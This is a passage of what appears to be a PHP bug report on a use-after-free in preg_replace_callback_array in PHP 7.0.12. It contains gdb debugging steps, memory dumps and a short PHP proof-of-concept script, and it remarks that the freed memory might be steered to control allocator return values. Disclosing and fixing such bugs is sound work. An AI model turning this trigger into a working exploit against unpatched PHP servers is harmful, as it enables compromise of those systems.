(2)Under the situation USE_ZEND_ALLOC=1
There is no crash. 
Compile v7.0.12 with gcc-4.8.4. Run the poc file under gdb, execute the following script:
set pagination off
set output-radix 16
set logging overwrite on
set logging file 01log
set logging on

break *0x81035be
commands
p/x $eax
x/4x $eax
end

ignore 1 3
run < poc.php

Observe at the breakpoint as following:
Breakpoint 1, 0x081035be in zend_string_copy (s=0xb7a5c5e8) at /home/dango/Development/Fuzz/PHP7.0.12Fuzz/php-7.0.12/Zend/zend_string.h:167
167			GC_REFCOUNT(s)++;
$1 = 0xb7a5c5e8
0xb7a5c5e8:	0xb7a5c750	0x00000006	0x8b887389	0x00000003
(gdb) x/4i $eip
=> 0x81035be <php_replace_in_subject+61>:	mov    (%eax),%eax
   0x81035c0 <php_replace_in_subject+63>:	lea    0x1(%eax),%edx
   0x81035c3 <php_replace_in_subject+66>:	mov    -0x6c(%ebp),%eax
   0x81035c6 <php_replace_in_subject+69>:	mov    %edx,(%eax)

The 0xb7a5c5e8 is now in the free list, but there still exists a reference to it by zend_string_copy. At 0x81035c0, the reference counter will be increased by one, which clearly shows that there still exists use-after-free bug here.

There is another interesting fact. I call a1=>array("Foo", "rep") in poc file is an unexpected line. If we set a watch point on 0xb7a5c5e8 and add more unexpected lines in the poc file, the value at 0xb7a5c5e8 will be subtracted by one. The times of subtraction is decided by the how many unexpected lines are added. I think there exist a way to control the return value of zend_mm_alloc_small.


Test script:
---------------
<?php
class Rep {
	public function __invoke() {
		return "d";
	}
}
class Foo {
	public static function rep($rep) {
		return "ok";
	}
}
function b() {
	return "b";
}
var_dump(preg_replace_callback_array(
	array(
		"/a/" => 'b',	"/b/" => function () { return "c"; }, "/c/" => new Rep, reporting=> array("Foo", "rep"),  a1=>array("Foo", "rep"),
	), 'a'));
?>
